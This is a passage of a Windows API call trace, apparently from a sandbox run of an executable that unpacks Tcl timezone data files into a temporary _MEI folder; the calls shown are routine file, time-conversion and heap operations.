"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.198] GetFileType (hFile=0x10c) returned 0x1 [0043.198] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.198] CloseHandle (hObject=0x10c) returned 1 [0043.198] GetLastError () returned 0x0 [0043.198] SetLastError (dwErrCode=0x0) [0043.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Niue") returned 69 [0043.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Niue" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\niue"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.198] GetLastError () returned 0x2 [0043.198] SetLastError (dwErrCode=0x2) [0043.198] GetLastError () returned 0x2 [0043.198] SetLastError (dwErrCode=0x2) [0043.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Niue", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Niue", lpFilePart=0x0) returned 0x44 [0043.198] GetLastError () returned 0x2 [0043.198] SetLastError (dwErrCode=0x2) [0043.198] GetLastError () returned 0x2 [0043.198] SetLastError (dwErrCode=0x2) [0043.199] GetLastError () returned 0x2 [0043.199] SetLastError (dwErrCode=0x2) [0043.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Niue") returned 69 [0043.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Niue" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\niue"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.199] GetFileType (hFile=0x10c) returned 0x1 [0043.199] htonl (hostlong=0xcd000000) returned 0xcd [0043.199] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.199] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcd, lpOverlapped=0x0) returned 1 [0043.200] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.200] CloseHandle (hObject=0x10c) returned 1 [0043.200] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546940 | out: hHeap=0x530000) returned 1 [0043.200] htonl (hostlong=0x30000000) returned 0x30 [0043.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.204] GetFileType (hFile=0x10c) returned 0x1 [0043.204] htonl (hostlong=0xd51c5d00) returned 0x5d1cd5 [0043.204] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61ccd5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.204] htonl (hostlong=0x98000000) returned 0x98 [0043.204] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0043.204] htonl (hostlong=0x98000000) returned 0x98 [0043.204] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.204] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.204] htonl (hostlong=0xb0000000) returned 0xb0 [0043.204] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0043.204] htonl (hostlong=0x98000000) returned 0x98 [0043.204] htonl (hostlong=0xb0000000) returned 0xb0 [0043.204] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.204] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.204] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.204] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.204] CloseHandle (hObject=0x10c) returned 1 [0043.204] GetLastError () returned 0x0 [0043.204] SetLastError (dwErrCode=0x0) [0043.204] GetLastError () returned 0x0 [0043.204] SetLastError (dwErrCode=0x0) [0043.204] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.204] GetFileType (hFile=0x10c) returned 0x1 [0043.205] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.205] CloseHandle (hObject=0x10c) returned 1 [0043.205] GetLastError () returned 0x0 [0043.205] SetLastError (dwErrCode=0x0) [0043.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.205] GetFileType (hFile=0x10c) returned 0x1 [0043.205] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.205] CloseHandle (hObject=0x10c) returned 1 [0043.205] GetLastError () returned 0x0 [0043.206] SetLastError (dwErrCode=0x0) [0043.206] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.206] GetFileType (hFile=0x10c) returned 0x1 [0043.206] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.206] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.206] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.206] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.206] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.206] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.206] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.206] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.206] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.206] CloseHandle (hObject=0x10c) returned 1 [0043.206] GetLastError () returned 0x0 [0043.206] SetLastError (dwErrCode=0x0) [0043.206] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Norfolk") returned 72 [0043.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Norfolk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\norfolk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.206] GetLastError () returned 0x2 [0043.206] SetLastError (dwErrCode=0x2) [0043.206] GetLastError () returned 0x2 [0043.206] SetLastError (dwErrCode=0x2) [0043.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Norfolk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Norfolk", lpFilePart=0x0) returned 0x47 [0043.206] GetLastError () returned 0x2 [0043.206] SetLastError (dwErrCode=0x2) [0043.206] GetLastError () returned 0x2 [0043.206] SetLastError (dwErrCode=0x2) [0043.206] GetLastError () returned 0x2 [0043.207] SetLastError (dwErrCode=0x2) [0043.207] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Norfolk") returned 72 [0043.207] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Norfolk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\norfolk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.207] GetFileType (hFile=0x10c) returned 0x1 [0043.207] htonl (hostlong=0xb0000000) returned 0xb0 [0043.207] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.208] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0043.209] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.209] CloseHandle (hObject=0x10c) returned 1 [0043.209] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.209] htonl (hostlong=0x30000000) returned 0x30 [0043.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.209] GetFileType (hFile=0x10c) returned 0x1 [0043.209] htonl (hostlong=0x6d1d5d00) returned 0x5d1d6d [0043.209] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cd6d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.209] htonl (hostlong=0xb7000000) returned 0xb7 [0043.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x55cfe0 [0043.209] htonl (hostlong=0xb7000000) returned 0xb7 [0043.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.209] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.209] htonl (hostlong=0x3d010000) returned 0x13d [0043.210] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13d) returned 0x550600 [0043.210] htonl (hostlong=0xb7000000) returned 0xb7 [0043.210] htonl (hostlong=0x3d010000) returned 0x13d [0043.210] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.210] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.210] CloseHandle (hObject=0x10c) returned 1 [0043.210] GetLastError () returned 0x0 [0043.210] SetLastError (dwErrCode=0x0) [0043.210] GetLastError () returned 0x0 [0043.210] SetLastError (dwErrCode=0x0) [0043.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.210] GetFileType (hFile=0x10c) returned 0x1 [0043.210] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.210] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.210] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.210] CloseHandle (hObject=0x10c) returned 1 [0043.210] GetLastError () returned 0x0 [0043.210] SetLastError (dwErrCode=0x0) [0043.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.211] GetFileType (hFile=0x10c) returned 0x1 [0043.211] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.211] CloseHandle (hObject=0x10c) returned 1 [0043.211] GetLastError () returned 0x0 [0043.211] SetLastError (dwErrCode=0x0) [0043.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.211] GetFileType (hFile=0x10c) returned 0x1 [0043.211] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 